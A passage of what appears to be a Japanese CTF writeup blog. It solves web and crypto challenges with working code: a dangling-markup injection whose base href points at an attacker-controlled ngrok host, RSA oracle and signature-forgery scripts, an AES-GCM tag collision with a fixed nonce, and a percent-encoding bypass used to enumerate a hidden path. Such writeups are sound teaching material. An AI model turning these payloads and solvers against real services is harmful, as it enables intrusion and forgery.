      const result = new Uint16Array(key.length)
      for (let i = 0; i < key.length; i++) {
        result[i] = key.charCodeAt(i) ^ secret[i]
      }
      return result
    }

見ると、暗号化したいkeyと同じ長さのsecretを作成しXORで暗号化しています。secretはprefixを最初は使い、keyに対して長さが不足している場合はMath.floor(Math.random() * 65536)で補っています。先ほどの例だと、prefixとして25文字のAを入力していたのでsecretの最初の25文字は分かっています。以下のようにCyberChefで復号してみます。

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'00'%7D,'',true,false,true,false)From_Hex('Auto')XOR(%7B'option':'UTF8','string':'A'%7D,'Standard',false)&input=MDAxNTAwMTIwMDA2MDAwMjAwMTUwMDA3MDAzYTAwMDUwMDE0MDAwYzAwMGMwMDE4MDA2ZDAwNjEwMDM1MDAyOTAwMjQwMDYxMDAyNzAwMmQwMDIwMDAyNjAwNjEwMDI4MDAzMjFhYmI2NTc0NzMxNTcxMzEyMzU0ZjQ2MmY2YTBiYTQ3OWIzYThhYTUwNzE5NDgzMTdkZGRmZTE5MmVkMDg4NTkzMjMxNzYwYTRkMzM3ZmIwOWY3MDBkNGQxMDUx&oeol=FF

ちゃんとダミーフラグの先頭が出てきましたね。ここでcompose.yamlをみてダミーフラグを確認してみると

- FLAG=TSGCTF{DUMMY, the flag is 48 bytes XXXXXXXXXXXX}

とあります。本当のフラグは48bytes分あるようです。

ここが問題です。prefixは最大25文字分しか入力できませんが、本当のフラグは48bytes分あります。できればprefixを48bytes分用意できれば全体が復号できますが、どうすれば良いでしょうか?

prefixを25文字より大きくする - Dangling Markup Injectionでmetaタグを潰す

自分はここでUnicodeガチャガチャをしてしまい数時間無駄にしてしまいましたが(本当にこれを治したい)、深堀するべきは{{{ titleElem }}}でした。改めて近辺を見返すと

  {{{ titleElem }}}
  <meta charset="UTF-8">

metaタグでUTF-8が指定されているのに気が付きました。prefixを25文字より大きくするために文字コードを変更するという手立てもありそうです。サーバーの応答を確認してもcharsetはありません。よって、このmetaタグをつぶすことができれば、文字コードの推定をブラウザに行わせることができそうです。そして、何の文字コードにするかというと流行りのISO-2022-JPです。

このt-chenさんのwriteupを見てみると、ISO-2022-JPが想定解のものでfirefoxを使ったボットになっているものもあったので、firefoxクローラーに使われていることもこの案を支持している。

さて、どうやってmetaタグをつぶすかだが、ちょうど直前に埋め込みができることから、Dangling Markup Injectionという手法を使います。中途半端なHTMLタグをいれこむことで後ろのタグを取り込んだりする手法です。titleに以下のようなものを入れてみましょう。

</title><base href="https://[yours].ngrok-free.app/"><div hoge="

すると、divタグがうまく作用し後ろのmetaタグが取り込まれ、あと、細かいパースと調整はよく追っていないが、いい感じに調整されて、最終的にこれまでの動作を壊すことなく、<meta charset="UTF-8">の無効化に成功する。これでISO-2022-JPを差し込む土壌が整う。この状態で、prefixにISO-2022-JPエスケープシーケンスを入れると、文字コード推定が走り、ISO-2022-JPとして解釈させることが可能になる。

prefixを25文字より大きくする - ISO-2022-JPを使う

prefixに色々入れてみて、いい感じに文字が増えるようなものを探していく。自分はガチャガチャやっていると\u001b(J\\\\\\\\\\\\\\\\\\\\\\とやると文字数を増やすことができた。出力時は25文字であるが、prefixとして47文字分確保できる。

ということで最終的に以下のようにPOST /presetに以下を送って投稿を作り、それをクローラーに読ませる。

{"name":"</title><base href=\"https://[yours].ngrok-free.app/\"><div hoge=\"","prefix":"\u001b(J\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"}

するといい感じにprefixとresultが返ってくるので、prefixをhexにしてsecretとして使って、resultにXORすると以下のようにフラグが得られる。

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'00'%7D,'',true,false,true,false)From_Hex('Auto')XOR(%7B'option':'Hex','string':'a57530303162284aa5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5'%7D,'Standard',false)&input=MDBmMTAwMjYwMDc3MDA3MzAwNjUwMDI0MDA1MzAwNzIwMGM0MDBjNzAwOTcwMDlkMDA5NDAwOTAwMGMxMDA5MTAwOTUwMGQ5MDBkNzAwYzAwMGQ2MDBjMDAwZDEwMDg0MDBjYzAwYzMwMDg1MDBjMTAwOTkwMGY1MDA5MzAwOTAwMDk2MDA5NDAwOTcwMDkxMDA5MjAwOTQwMDk1MDBmYzAwZDkwMGM0MDBjNjAwOTIwMGM0MDBjNDAwOTEwMGQ4&oeol=FF

[crypto] Mystery of Scattered Key

以下のようなソースコードとprintの出力結果が提供される。

from Crypto.Util.number import getStrongPrime
from random import shuffle

flag = b'FAKE{THIS_IS_FAKE_FLAG}'


p = getStrongPrime(1024)
q = getStrongPrime(1024)

N = p * q
e = 0x10001
m = int.from_bytes(flag, 'big')
c = pow(m, e, N)


# "Aaaaargh!" -- A sharp, piercing scream shattered the silence.

p_bytes = p.to_bytes(128, 'big')
q_bytes = q.to_bytes(128, 'big')

fraction_size = 2
p_splitted = [int.from_bytes(p_bytes[i:i+fraction_size], 'big') for i in range(0, len(p_bytes), fraction_size)]
q_splitted = [int.from_bytes(q_bytes[i:i+fraction_size], 'big') for i in range(0, len(q_bytes), fraction_size)]

shuffle(p_splitted)
shuffle(q_splitted)


print(f'N = {N}')
print(f'c = {c}')
print(f'p_splitted = {p_splitted}')
print(f'q_splitted = {q_splitted}')

RSA暗号であるが、pとqが2bytes毎に区切られてシャッフルされて与えられる。何から始めようか。

p, qはどういう形になる?

\verb|p_splitted|\verb|q_splitted|を正しい順番に入れ替えたものをpsqsとすると、2bytes毎に区切られているので、p,qは以下のように書ける。

 \displaystyle
p = ps_0 * 2^0 + ps_1 * 2^{16} + ps_2 * 2^{32} + ... + ps_{63}2^{63*16} \\
q = qs_0 * 2^0 + qs_1 * 2^{16} + qs_2 * 2^{32} + ... + qs_{63}2^{63*16}

これを書いてみて眺めていると解法が浮かんできた。Nも2bytesごとに分割して考えてみると、まず、Nの下2bytesの結果はps_0qs_0のみ影響を及ぼしていて、ps_1qs_1以降はどんな値であっても関係ない。つまり、ps_0qs_0を選択して掛け合わせた結果とNの両方の下2bytesを比較して一致しているものがps_0qs_0として選択すべきものになる。一意に定まらない可能性もありそうだが、方針はよさそうなのでこのまま進めてみる。

ps_0qs_0が確定した次にps_1qs_1を更に決めようとすると、ps_0qs_0ps_1qs_1以外の要素は2^{32}以上になっているので、[tex:p = ps_0 * 20 + ps_1 * 2^{16}]と[tex:q = qs_0 * 20 + qs_1 * 2^{16}]を掛け合わせた結果とNの両方の下4bytesは一致しているはずである。よって、次は下4bytesを見ることでps_1qs_1を確定させることができる。

この手順を下から順番にやればpsqsを全て確定させることができる。無茶苦茶バグらせながら以下のソルバーを書いて解いた。

N = [redacted]
c = [redacted]
p_splitted = [redacted]
q_splitted = [redacted]
e = 0x10001

p = 0
q = 0

for i in range(64):
    print(f"turn {i}", len(p_splitted))
    found_p_i = -1
    found_q_i = -1
    for p_i in range(len(p_splitted)):
        for q_i in range(len(q_splitted)):
            pp = p_splitted[p_i] * 2**(16 * i)
            qq = q_splitted[q_i] * 2**(16 * i)
            mu = (p + pp) * (q + qq)
            mask = ((1 << (16 * (i+1))) - 1)
            if (N & mask) == (mu & mask):
                print('p_last', p_splitted[p_i])
                print('q_last', q_splitted[q_i])
                found_p_i = p_i
                found_q_i = q_i

    assert 0 <= found_p_i

    p += p_splitted[found_p_i] * 2**(16 * i)
    q += q_splitted[found_q_i] * 2**(16 * i)

    del p_splitted[found_p_i]
    del q_splitted[found_q_i]

print(f'p = {p}')
print(f'q = {q}')
print(f'N = {N}')

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, N)))

[crypto] Feistel Barrier

以下のようなソースコードが与えられる。

from hashlib import sha256
from Crypto.Util.number import getStrongPrime
import os
k = 1024//8
h_len = 32


def mgf(seed,mask_len):
    if mask_len > 2**32:
        raise ValueError("mask too long")
    t = b''
    for i in range(mask_len//h_len+1):
        t += sha256(seed + i.to_bytes(4, 'little')).digest()
    return t[:mask_len]

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def encrypt(data, e,n):
    if len(data) > k - 2*h_len - 2:
        raise ValueError("data too long")
    L = b""
    IHash = sha256(L).digest()
    PS = b"\x00" * (k - len(data) - 2*h_len - 2)
    DB = IHash + PS + b"\x01" + data
    seed = os.urandom(h_len)
    dbMask = mgf(seed, k - h_len -1)
    maskedDB = xor(DB, dbMask)
    seedMask = mgf(maskedDB, h_len)
    maskedSeed = xor(seed, seedMask)
    EM = b"\x00" + maskedSeed + maskedDB
    m = int.from_bytes(EM, 'big')


    c = pow(m, e, n)
    return c.to_bytes(k, 'big')

def decrypt(c,n,d):
    m = pow(int.from_bytes(c, 'big'), d, n)
    EM = m.to_bytes(k, 'big')
    return EM

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = pow(e, -1, phi)
flag = os.getenv("FLAG", "FAKECTF{THIS_IS_FAKE}")
flag = flag.encode()
chal = encrypt(flag, e, n)
print("n =", n)
print("e =", e)
print("chal =", chal.hex())


print("ciphertext:", end=" ")
c = input()
c = bytes.fromhex(c)
if c == chal:
    print("Challenge ciphertext will not be decrypted.")
print(decrypt(c,n,d).hex())

ざっくりと以下のような処理をしている。

ちゃんと説明すると大変なので、dataをDBという構造に入れてseedを元にXORでマスクして、それを元にseedをXORでマスクして、EMという構造にまとめてmを作っている。mはそのままではなくRSA暗号化した状態chalで渡される。このとき、n,e,chalが与えられる。その後、chalではない任意の暗号文を1度だけ復号化することができる。

2段階で解いていこう。

chalを復号化する

chalをRSA復号化してm、つまり、EMを手に入れよう。これはRSA暗号の準同型性を利用する。

 \displaystyle
chal = m^e \,\verb|mod|\,n

これがchalの形で、これを復号化したいがそのまま渡すことができないので、これを暗号化したまま2倍してみよう。

 \displaystyle
c2 = 2^e \,\verb|mod|\,n

というのをchalに掛け合わせてみよう。

 \displaystyle
chal * c2 = m^e 2^e \,\verb|mod|\,n \\
= (2m)^e \,\verb|mod|\,n

いい感じにまとめることができ、2mの暗号文が得られる。これはchalと等しくないため、1回だけ使える復号器に渡すことができる。結果として2mが返ってくるので2で割ってやればm、つまり、EMが得られる。

EMからseedを求め、DBを求める

DBからseedを使ってEMを求める計算は一部sha256計算が使われているが、逆計算が可能である。よって、EMからseedを計算し、そこからマスクされたDBからDBを計算する。恐らく書いて説明するよりもコードの方が明瞭なので細かく書かないが、A xor B = CA = C xor Bと変換できることを考慮すれば逆計算はそれほど難しくない。

以下のようなコードで解けます!

n = [set from the response]
e = 65537
chal = [set from the response]

chal2 = (chal * pow(2, e, n)) % n
print(hex(chal2)) ## pass it to the server manually

from hashlib import sha256
from Crypto.Util.number import *
import os
k = 1024//8
h_len = 32

def mgf(seed,mask_len):
    if mask_len > 2**32:
        raise ValueError("mask too long")
    t = b''
    for i in range(mask_len//h_len+1):
        t += sha256(seed + i.to_bytes(4, 'little')).digest()
    return t[:mask_len]

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

# set it manually
chal2_dec = [set from the response] // 2
EM = long_to_bytes(chal2_dec)

maskedSeed = EM[:32]
maskedDB = EM[32:]

seedMask = mgf(maskedDB, h_len)
seed = xor(seedMask, maskedSeed)

dbMask = mgf(seed, k - h_len -1)
DB = xor(dbMask, maskedDB)

print(DB)

[crypto] CONPASS 終了後に解けた

20分ほど間に合わず…

ざっくり書くと、4セットRSA署名が用意され、全ての署名をpassしながら、かつ、指定の値を入力する問題。

署名生成は以下のような感じ。

def sign(data: str,private_key):
    data_int = int.from_bytes(data.encode(),'little')
    sign = pow(data_int,private_key["d"],private_key["n"]).to_bytes(128,'little').hex()
    return sign

@app.get("/sat0")
async def sat0():
    
    ut = int(time.time())
    data = {"time": ut-int(distance(positions["sat0"],positions["user"]))}
    data_json = json.dumps(data)
    signature = sign(data_json,keys[0]["private_key"])
    return {"data":data_json.encode().hex(), "sign":signature, "public_key":keys[0]["public_key"]}

時間と2点の距離を元にtimeを含むjsonを作り、RSA署名をしている。

署名検証とフラグ取得は以下のような感じ。

def verify(data: str,signature: str,public_key):
    data_int = int.from_bytes(bytes.fromhex(data),'little')
    sign_int = int.from_bytes(bytes.fromhex(signature),'little')
    return data_int%public_key["n"] == pow(sign_int,public_key["e"],public_key["n"])

def is_in_area(data):
    try:
        ut = time.time()
        data_sat0 = json.loads(my_decoder(data.sat0["data"]))
        data_sat1 = json.loads(my_decoder(data.sat1["data"]))
        data_sat2 = json.loads(my_decoder(data.sat2["data"]))
        data_sat3 = json.loads(my_decoder(data.sat3["data"]))
        if (-1 <= (ut - data_sat0["time"]) - distance(positions["sat0"],positions["flag"]) <= 20) and (-1 <= (ut - data_sat1["time"]) - distance(positions["sat1"],positions["flag"]) <= 20) and (-1 <= (ut - data_sat2["time"]) - distance(positions["sat2"],positions["flag"]) <= 20) and (-1 <= (ut - data_sat3["time"]) - distance(positions["sat3"],positions["flag"]) <= 20):
            return True
        else:
            return False
    except:
        return False

def my_decoder(hex_data):
    str_data = bytes.fromhex(hex_data).decode('utf-8',errors = 'ignore')
    #trim illegal characters
    str_data = ''.join(filter(lambda x: x in valid_chars, str_data))
    return str_data

@app.post("/auth")
async def auth(auth_data: AuthData):
    try:
        valid = [
            verify(auth_data.sat0["data"],auth_data.sat0["sign"],keys[0]["public_key"]),
            verify(auth_data.sat1["data"],auth_data.sat1["sign"],keys[1]["public_key"]),
            verify(auth_data.sat2["data"],auth_data.sat2["sign"],keys[2]["public_key"]),
            verify(auth_data.sat3["data"],auth_data.sat3["sign"],keys[3]["public_key"])
        ]
    except:
        return {"error": "bad request"}
    if all(valid):
        if is_in_area(auth_data):
            return {"flag": flag}
        else:
            return {"error": "you are not with the flag"}
    else:
        return {"error": "date not properly signed"}

POST /authでは4つのRSA署名検証に成功し、かつ、is_in_area関数で行われている条件に合致すればフラグが得られる。

弱点

以下のコードに気が付く点はないでしょうか。

def verify(data: str,signature: str,public_key):
    data_int = int.from_bytes(bytes.fromhex(data),'little')
    sign_int = int.from_bytes(bytes.fromhex(signature),'little')
    return data_int%public_key["n"] == pow(sign_int,public_key["e"],public_key["n"])

一見問題無さそうですが…

data_int%public_key["n"] ここです!

data_intが%nされて署名検証に回されています。つまり、data_intは+k*nされても署名が通ってしまうということです。そして、検証後のコードを見るとdataは%nされず、入力されたものがそのまま使われています。なので、GET /sat?経由で手に入れたdata, signを利用すると、任意のdata + k*nに対してsignを活用することができます。

%nしたときにdataになるような希望のjsonを作る

作りたいjson

{"time": [希望の時間]}

こういう形ですが、これをintにしたときに%nをしてdataになるように調整するのは難しそうです。なので、適当な文字列を挟むことで調整することにしましょう。代わりに以下のようなjsonを考えます。

{"time": [希望の時間], "gomi": "[調整用文字列]"}

[調整用文字列]をうまく調整することでjsonをintにしたときに%nをしてdataになるようにしていきます。[調整用文字列]はnの大きさに合わせて128bytes(1024bits)分用意します。ここを全探索して見つけていくのは大変なので、計算しましょう。

※ 注意ですが、ここから数式を書いていきますが、分かりやすさのためにエンディアンを逆にしています!
※ 実装では逆のエンディアンになっていて、そうじゃないと解けないので注意です!
※ 理解のしやすさのためにエンディアンを逆にしています!
※ 実装では逆にしてください!
※ 実装は!逆!概念理解のために逆にしてない!

jsonの構造を考えると、以下のようにdataの数値を計算することができます。[希望の時間]として適当に13372024と書いています。

 \displaystyle
\verb|prefix| = \verb|bytes_to_long('{"time": 13372024, "gomi": "')| \\
\verb|mid| = \verb|求めたい文字列| \\
\verb|postfix| = \verb|bytes_to_long('"}')|

とすると、dataは

 \displaystyle
\verb|data| = \verb|prefix| * 2^{8*(128+2)} + \verb|mid| * 2^{16} + \verb|postfix|

と書くことができます。これがmod nで等しくなれば良いので、

 \displaystyle
\verb|data| = \verb|prefix| * 2^{8*(128+2)} + \verb|mid| * 2^{16} + \verb|postfix| \,\verb|mod|\,n \\
\verb|mid| * 2^{16} = \verb|data| - \verb|prefix| * 2^{8*(128+2)} - \verb|postfix| \,\verb|mod|\,n \\
\verb|mid| = \frac{\verb|data| - \verb|prefix| * 2^{8*(128+2)} - \verb|postfix|}{2^{16}} \,\verb|mod|\,n

と書くことができ、midを計算することができます。これにより全探索しなくても効果的にsignが一致し、かつ、望むtimeが入ったjsonを作成することができます。

この時計算したmidはbytes表現にしたときにascii文字にならない場合がありますが、これはサーバー側でjsonにする前に呼ばれるmy_decoder関数で取り除かれているので問題ありません。しかし、一部"\になってしまうasciiが出てきた場合はjsonとして解釈するときにエラーになってしまい利用することができません。

なので、自分の実装ではエラーになるかどうかチェックをしてエラーになった場合は、調整用の文字列を入れているgomiの名前をaomi, bomi, comi, ...のように変えてエラーにならないものを探し当てて使うように実装しています。

実装

上の説明と実際のエンディアンが逆なので逆転させて書いた実装が以下です。test.pyを改造して作っています。目的のtimeを作るのに必要な差分をdiffとして定義しているのと、手元とサーバーとのタイムラグがあって刺さらなかったのでtimelagを適当に刺さるように調整しました。

import requests
import json
import time
import math
import string

from Crypto.Util.number import *

positions = {
    "user": [3861, -67500, 50947],
    "sat0": [67749, 27294, 94409],
    "sat1": [38630, -52128, -9112],
    "sat2": [-86459, -74172, 8698],
    "sat3": [36173, -84060, 95354],
    "flag": [0,0,0]
}
diff = [2932.1155644246755,5561.692610262566,-14310.773403531071,-74801.72034653489]
timelag = -20

def distance(a,b):
    dist = 0
    for i in range(3):
        dist += (a[i]-b[i])**2
    return math.sqrt(dist)

valid_chars = set(string.printable[:-5])
def my_decoder(hex_data):
    str_data = bytes.fromhex(hex_data).decode('utf-8',errors = 'ignore')
    #trim illegal characters
    str_data = ''.join(filter(lambda x: x in valid_chars, str_data))
    return str_data

def make_new_data(current_sat, idx):
    new_time = int(ut-int(distance(positions["sat"+str(idx)],positions["user"])) + diff[idx]) + timelag
    target_data = int.from_bytes(bytes.fromhex(current_sat["data"]),'little')
    current_sign = current_sat["sign"]
    n = current_sat["public_key"]["n"]
    
    for c1 in "qwertyuiopasdfghjklzxcvbnm":
        prefix =('{"time": ' + str(new_time) + f', "{c1}omi": "').encode()
        clear = b'\x00' * 128
        postfix = '"}'.encode()
        base = int.from_bytes(prefix + clear + postfix,'little')

        up = (((target_data - base) % n) + n) % n
        dwn = pow(2, 8*len(prefix), n)
        cand = up * pow(dwn, -1, n) % n
        mid = long_to_bytes(cand)
        mid = mid[::-1]
        res = prefix + mid + postfix

        try:
            x = json.loads(my_decoder(res.hex()))
            return res.hex()
        except:
            pass
    
    assert False

#rewite the host to the server address
host = "http://localhost:8000/"

data = {}

response = requests.get(host+"sat0")
data["sat0"] = response.json()

response = requests.get(host+"sat1")
data["sat1"] = response.json()

response = requests.get(host+"sat2")
data["sat2"] = response.json()

response = requests.get(host+"sat3")
data["sat3"] = response.json()

ut = int(time.time())
data["sat0"]["data"] = make_new_data(data["sat0"], 0)
data["sat1"]["data"] = make_new_data(data["sat1"], 1)
data["sat2"]["data"] = make_new_data(data["sat2"], 2)
data["sat3"]["data"] = make_new_data(data["sat3"], 3)

json_data = json.dumps(data)
response = requests.post(
    host+"auth",
    data=json_data,
    headers={"Content-Type": "application/json"}
    )
print(response.json())

SECCON CTF 13 Quals Writeups

チーム zoozer で出ていました!

[crypto] reiwa_rot13

問題

以下のような感じで計算されたn,e,c1,c2が与えられるので、keyを頑張って特定する問題。(本当はこの後にAES暗号化処理が書いてあるのだが、keyを特定する所が本質なので割愛)

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

解法

まず一番目を引くのはrot13をしている部分。求めたいkeyとkeyをrot13したものに対してRSA暗号をしている。とりあえず、RSA暗号に対する有名攻撃を順番に使えるか使えないかやっていくと、Franklin-Reiter Related Message Attackを見つけることができる。Franklin-Reiter Related Message Attackの形にしたいなーと思いながら整理すると、帰着させることが可能。

keyをrot13したものについて考えてみる。rot13は各文字について文字を13個進める操作のことであるが、13個進めた時にzを超えてしまう場合は頭のaに戻るような動きをする。つまり、普通は+13であるが、文字によっては+13-26、つまり-13されることになる。どちらになるかは初期の文字が最初の13個であるかどうかで決まる。

この操作をkeyに当てはめて考えてみよう。まず、keyは

 \displaystyle
k_1 k_2 ... k_{10}

であれば、

 \displaystyle
key = 2^{72} k_{1} + 2^{64} k_2 + ... + k_{10}

のように計算される。この時、k_{1}に対するrot13操作、つまり、±13は

 \displaystyle
key ± 2^{72} * 13

と数値の足し引きで表現することができる。

keyは全部で10文字なので、各バイトについて±13のどちらかであるかは210通りしかないので全探索でき、それが決まれば先ほどの数値計算を適用して、key + diff = rot13_keyを満たすdiffを求めることができる。そう考えると、今回の問題は

 \displaystyle
c_1 = key^e\ mod\ n\ を満たす c_1 が既知 \\
c_2 = (key + diff)^e\ mod\ n\ を満たす c_2 が既知

という問題に帰着し、これはFranklin-Reiter Related Message Attackが適用可能である。後は、アルゴリズムに従ってやるだけなので、sagemathで以下のようにkeyを求めることができる。

n = [redacted]
e = 137
c1 = [redacted]
c2 = [redacted]

from Crypto.Util.number import *

pgcd = lambda g1, g2: g1.monic() if not g2 else pgcd(g2, g1%g2)
P.<x> = PolynomialRing(Zmod(n))

for mask in range(2**10):
    diff = 0
    for i in range(10):
        if (mask & (2**i)) == 0:
            # x + 13 = y
            diff += 13 * (2**(8 * i))
        else:
            # x - 13 = y
            diff -= 13 * (2**(8 * i))
    f = x^e - c1
    g = (x + diff)^e - c2
    m = -pgcd(f, g).coefficients()[0]
    try:
        print(long_to_bytes(int(m)))
    except:
        pass

あとはkeyをsha256ハッシュにして最終的なkeyを作り、AES-ECB復号化すればフラグが得られる。

[crypto] dual_summon

問題について

問題のソースコードは以下。

from Crypto.Cipher import AES
import secrets
import os
import signal

signal.alarm(300)

flag = os.getenv('flag', "SECCON{sample}")

keys = [secrets.token_bytes(16) for _ in range(2)]
nonce = secrets.token_bytes(16)

def summon(number, plaintext):
    assert len(plaintext) == 16
    aes = AES.new(key=keys[number-1], mode=AES.MODE_GCM, nonce=nonce)
    ct, tag = aes.encrypt_and_digest(plaintext)
    return ct, tag

# When you can exec dual_summon, you will win
def dual_summon(plaintext):
    assert len(plaintext) == 16
    aes1 = AES.new(key=keys[0], mode=AES.MODE_GCM, nonce=nonce)
    aes2 = AES.new(key=keys[1], mode=AES.MODE_GCM, nonce=nonce)
    ct1, tag1 = aes1.encrypt_and_digest(plaintext)
    ct2, tag2 = aes2.encrypt_and_digest(plaintext)
    # When using dual_summon you have to match tags
    assert tag1 == tag2

print("Welcome to summoning circle. Can you dual summon?")
for _ in range(10):
    mode = int(input("[1] summon, [2] dual summon >"))
    if mode == 1:
        number = int(input("summon number (1 or 2) >"))
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        ct, tag = summon(number, name)
        print(f"monster name = [---filtered---]")
        print(f"tag(hex) = {tag.hex()}")

    if mode == 2:
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        dual_summon(name)
        print("Wow! you could exec dual_summon! you are master of summoner!")
        print(flag)

keys[0]を使うAES-GCMの暗号器0と、keys[1]を使うAES-GCMの暗号器1が用意される。どちらも暗号化復号化の時に使うnonceは共通で固定である。keys, nonceは与えられない。

代わりに2つのmodeの操作が行える。

  • mode=1: 暗号器を選択して任意の平文を暗号化し、タグだけを得る
  • mode=2: 任意の平文を入力し、2つの暗号器が出力するタグが一致すればフラグが得られる

最初に

nonceが共通しているので、そこが弱点だろうということはなんとなく分かる。nonceがランダムでないと安全でないのは共通認識なので、タグを頑張って衝突させてねと言うことだろう。AES-GCM、良く知らないので検索するとkurenaif先生の動画が見つかるので、ちゃんと見る。

www.youtube.com

「nonce固定だとmacを実はバイパスできるんだよね~」と言ってはいるが、肝心な所は教えてくれない… もう少しGCMについて調べると本当は怖いAES-GCMの話という無茶苦茶参考になるブログが見つかる。このブログを読んでいくと方針が立ってくる。

GCMの処理は他のCBCとかに比べると複雑だが、16bytesのみ暗号化するということ、また、特殊な和積を導入すると比較的扱いやすいタグを求める式が立てられる。16bytesを暗号化するAES-GCMは、暗号文をC、’0’*16を暗号化したものをH, 長さのバイト列にしたものをL, nonceを暗号化したものをSと置くと、最終的なタグ T は、

 \displaystyle
\begin{equation}
T = CH^2 + LH + S \tag{1}
\end{equation}

と書くことができる。

H2を求める

この式をこねくり回すことで、2つの暗号器のH2をそれぞれ求めることができる。平文P、nonce+1を暗号化したものをS’とするとGCMのアルゴリズムにより

 \displaystyle
C = P + S'

と書ける。ここで、平文の最下位ビットをフリップさせた新しい平文P + 1を暗号化することを考えよう。今回使っている「特殊な和積」の和はxorであるため、最下位ビットのフリップは+1として表現できる。よって、P+1を暗号化するときの式は、

 \displaystyle
P + 1 + S' = C + 1

となる。よって、P + 1を暗号化したときの最終的なタグT’は

 \displaystyle
\begin{equation}
T’ = (C + 1)H^2 + LH + S \tag{2}
\end{equation}

と書ける。ここで、(1)と(2)の両辺を足すと、和がxorであることからA+A=0なので、以下のようにH2のみが残る。

 \displaystyle
\begin{equation}
T + T' = H^2
\end{equation}

T + T’は問題環境から得られるのでH2を求めることができる。この方法を使って、2つのAES暗号器におけるH2の値を求めることができた。

Tagの衝突

次に同じ平文を入力したときに、同じTagが出力されるようにする。表記上片方のAESについては大文字、もう片方のAESについては小文字を使って書くことにする。(共通のものについては大文字で統一)すると、2つのAESについてタグの生成はこのようになる。

 \displaystyle
T = CH^2 + LH + S \\
t = ch^2 + Lh + s

次に、2つのAES暗号器に与える平文は同じものである必要があるので、ここから同じ値を両方の平文に足すことを考える。両方の平文に同じ値 k を足すと以下のように式が変形される。

 \displaystyle
(C + k)H^2 + LH + S = CH^2 + LH + S + kH^2 = T + kH^2 \\
(c + k)h^2 + Lh + s = ch^2 + Lh + s + kh^2 = t + kh^2

今回はこの足した結果が等しくなればよいので

 \displaystyle
T + kH^2 = t + kh^2

を満たせばよい。ここで任意の同じ平文 P を2つのAES暗号器に与えて、T,tをmode=1により取得しておく。これにより、T, t, H2, h2が既知の状態になるので、

 \displaystyle
k = \frac{T + t}{H^2 + h^2}

でkを求めることができ、P+kをすることで同じタグを生成する平文を作り出すことができる。

PoCコード

以下のようなsagemathコードを用意して、手動でクエリ結果とやり取りしながらフラグを得た。

P.<x> = PolynomialRing(GF(2))
GF2_128 = GF(2**128, name='a', modulus=x^128 + x^7 + x^2 + x + 1)

from Crypto.Util.number import *
from Crypto.Cipher import AES

def bytes_to_poly(b):
    v = int.from_bytes(b, 'big')
    v = int(f"{v:0128b}"[::-1], 2)
    return GF2_128.from_integer(v)

def reverse_bits(num, bit_length):
    bin_rep = format(num, f'0{bit_length}b')
    reversed_bin_rep = bin_rep[::-1]
    reversed_num = int(reversed_bin_rep, 2)
    return reversed_num

def int_to_poly(b):
    return GF2_128.from_integer(reverse_bits(b,128))

def poly_to_bytes(p):
    v = p.integer_representation()
    v = int(f"{v:0128b}"[::-1], 2)
    return v.to_bytes(16, 'big')

tag_a_0 = int_to_poly(0xd39af8a6a972d68f5e0051e40db27366) # 00000000000000000000000000000000
tag_a_1 = int_to_poly(0xaad442977b1d889f17629142a28218e7) # 80000000000000000000000000000000

tag_b_0 = int_to_poly(0x5e4ec2309516675ae6d0bad182a0a787)
tag_b_1 = int_to_poly(0xeeb6e1c5b192f937f9519ad25932fba2)

hh_a = (tag_a_1 + tag_a_0)
hh_b = tag_b_1 + tag_b_0

k = (tag_a_0 - tag_b_0) / (hh_a - hh_b)

ans = 0
for c in k.polynomial():
    ans = ans * 2 + int(c)
print(hex(ans)[2:])

AlpacaHack Round 7 (Web) Writeups

[web] Treasure Hunt

javascript, expressで作られたページが与えられる。

import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
[redacted]
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
  res.type("text");
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

フラグはDockerfileにて以下のように用意されている。

# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH

試しにDockerで立ち上げて中を見てみると、フラグは以下のような場所に置いてあることになる。

/app/public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t

最後のf/l/a/g/t/x/tは分かっているとして、前半のランダム部分をどうやって特定していくかが問題のキモになる。色々実験すると、例えば上の例であれば/app/public/3なら301応答、/app/public/2なら404応答のように存在するかしないかで応答が変化していることが分かる。応答が変化しているということは、逆に応答を見れば存在するかどうかが判定可能ということになる。 よって、先頭から順番に[0-9a-f]の範囲でリクエストを送ってみてステータスコードが301のものがあれば、それを採用して次の階層を探索…というのを続けていくことでパス全体を特定していく。

注意点としてif (/[flag]/.test(req.url)) {という検証がある関係でaとfはそのまま入力することができない。この文字に関してはパーセントエンコーディングによって検証を回避することができる。今までは書いたことを全て実装して以下のような探索コードを書けばパスを取得可能。

import httpx

dic = "0123456789abcdef"
BASE = "http://[redacted]/"

def test(url):
    return httpx.get(url).status_code == 301

path = ""
for _ in range(32):
    for c in dic:
        if c == 'a':
            if test(BASE + path + "/%61"):
